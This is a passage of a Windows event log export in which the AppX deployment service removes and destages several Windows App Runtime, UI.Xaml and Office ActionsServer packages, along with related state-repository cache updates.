Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.978\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.985\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_75.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.989\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.994\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.997\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_76.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.000\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.002\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.007\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_77.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.009\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.012\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.013\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.020\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_78.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.022\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1003.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.051\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.053\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.055\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.059\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.059\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.082\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.084\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.086\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.088\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.091\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.103\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.130\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.157\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.160\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1003.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.206\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.208\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.216\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.226\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.229\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.230\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.246\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.247\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.264\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.267\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.269\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.285\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.287\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.301\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.331\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.338\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.345\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_79.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.347\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.347\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.349\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.355\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_80.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.359\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.366\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_81.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.369\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.374\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.375\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_82.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.376\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.376\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.377\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.378\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.380\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_83.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.381\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.385\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_84.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.386\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1001.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.389\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.407\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.407\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1001.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.414\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.417\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.424\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.426\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.427\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.435\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.435\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.441\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.443\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.444\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.453\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.454\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.461\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.462\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.463\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.472\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.473\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.482\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.482\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.484\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.485\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.494\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.495\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.502\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.515\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.527\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.529\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.534\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_85.rslc for Remove Operation on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.535\t607\tDeployment Remove operation on package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.536\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.536\t627\tWindows cannot remove Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.539\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_86.rslc for Remove Operation on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.540\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.543\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_87.rslc for Remove Operation on Package 